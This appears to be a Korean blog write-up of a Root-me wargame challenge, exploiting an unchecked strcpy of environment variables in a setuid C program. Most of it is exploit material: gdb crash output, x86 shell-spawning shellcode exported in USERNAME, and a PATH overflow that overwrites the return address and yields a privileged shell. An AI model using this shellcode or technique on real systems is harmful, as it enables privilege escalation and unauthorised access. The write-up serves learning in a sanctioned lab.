728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>
struct EnvInfo
{
char home[128];
char username[128];
char shell[128];
char path[128];
};
struct EnvInfo GetEnv(void)
{
struct EnvInfo env;
char *ptr;
if((ptr = getenv("HOME")) == NULL)
{
printf("[-] Can't find HOME.\n");
exit(0);
}
strcpy(env.home, ptr);
if((ptr = getenv("USERNAME")) == NULL)
{
printf("[-] Can't find USERNAME.\n");
exit(0);
}
strcpy(env.username, ptr);
if((ptr = getenv("SHELL")) == NULL)
{
printf("[-] Can't find SHELL.\n");
exit(0);
}
strcpy(env.shell, ptr);
if((ptr = getenv("PATH")) == NULL)
{
printf("[-] Can't find PATH.\n");
exit(0);
}
strcpy(env.path, ptr);
return env;
}
int main(void)
{
struct EnvInfo env;
printf("[+] Getting env...\n");
env = GetEnv();
printf("HOME = %s\n", env.home);
printf("USERNAME = %s\n", env.username);
printf("SHELL = %s\n", env.shell);
printf("PATH = %s\n", env.path);
return 0;
}
2.2. 분석
GetEnv 함수를 통해 envirionment 값들을 각 변수에 가져와서 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
변수의 크기는 128이나 그 크기를 체크하지 않고 복사함에 따라 overflow가 발생한다.
3.2. 공격 준비
코드에서 보듯이 GetEnv 함수 내에서 PATH 환경 변수를 가장 마지막에 확인하므로 이를 overflow 하여 GetEnv 함수의 return 주소를 덮어씌울 수 있을 것으로 예상하였고,
실제로 PATH 환경 변수에 165 byte 값을 넣으니 segmentation fault 에러가 발생하였다.
app-systeme-ch8@challenge02:~$ export USERNAME=aaaa
app-systeme-ch8@challenge02:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBA
app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
Segmentation fault
다만 위에서 보듯 165 byte 중에 가장 마지막 1 byte 앞 4 byte 가 ret address로 사용된 것을 확인할 수 있었다.
app-systeme-ch8@challenge02:~$ gdb-gef ch8
Reading symbols from ch8...(no debugging symbols found)...done.
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 8.1.1 using Python engine 3.6
gef➤ r
Starting program: /challenge/app-systeme/ch8/ch8
[+] Getting env...
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax : 0xbfff0041 → "/challenge/app-systeme/ch8"
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0x0
$edx : 0x7f
$esp : 0xbffff6a4 → 0x677f9a5f
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x41414141 ("AAAA"?)
$edi : 0x41414141 ("AAAA"?)
$eip : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
───────────────────────────────────────────────────────────────────── stack ────
0xbffff6a4│+0x0000: 0x677f9a5f ← $esp
0xbffff6a8│+0x0004: 0xb7fd2110 → 0xb7deb000 → 0x464c457f
0xbffff6ac│+0x0008: 0x0804869b → <main+28> add ebx, 0x1965
0xbffff6b0│+0x000c: 0x00000001
0xbffff6b4│+0x0010: 0x00000001
0xbffff6b8│+0x0014: 0xb7defde4 → 0x0000348e
0xbffff6bc│+0x0018: 0x000000d6
0xbffff6c0│+0x001c: 0xb7df8d04 → 0x72647800
─────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ch8", stopped 0x42424242 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────
0x42424242 in ?? ()
초기에 USERNAME 환경변수는 선언하지 않는 경우 값이 없으므로 여기에 shell code를 올리고 해당 주소를 확인한 다음 PATH 환경 변수를 사용해 ret address를 변조해주었다.
4. exploit
gdb로 확인한 USERNAME 환경 변수의 주소와 실제 파일의 주소가 차이나는 경우가 있기에
(gdb 실행 시 자체적으로 사용하는 환경 변수가 있어 차이가 발생함.)
주소를 16 byte 씩 증가시키며 시도해보았다.
app-systeme-ch8@challenge02:~$ export USERNAME=`perl -e 'print "\x90"x30,"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80","\x90"x30'`
app-systeme-ch8@challenge02:~$ export PATH=`perl -e 'print"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","\xa4\xfd\xff\xbf","A"'`
app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
Segmentation fault
app-systeme-ch8@challenge02:~$ export PATH=`perl -e 'print"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","\xb4\xfd\xff\xbf","A"'`
app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
Segmentation fault
app-systeme-ch8@challenge02:~$ export PATH=`perl -e 'print"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","\xc4\xfd\xff\xbf","A"'`
app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
$ id
uid=1208(app-systeme-ch8-cracked) gid=1108(app-systeme-ch8) groups=1108(app-systeme-ch8),100(users)
$ cat .passwd
----------#플래그는 삭제
728x90
반응형
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - Format String Bug Basic 3 (0) | 2022.07.13 |
---|---|
[App-System] ELF x86 - Stack buffer overflow basic 6 (0) | 2022.07.12 |
[App-System] ELF x64 - Double free (0) | 2022.07.09 |
[App-System] ELF x64 - Stack buffer overflow - PIE (0) | 2022.07.09 |
[App-System] ELF x86 - BSS buffer overflow (0) | 2022.07.08 |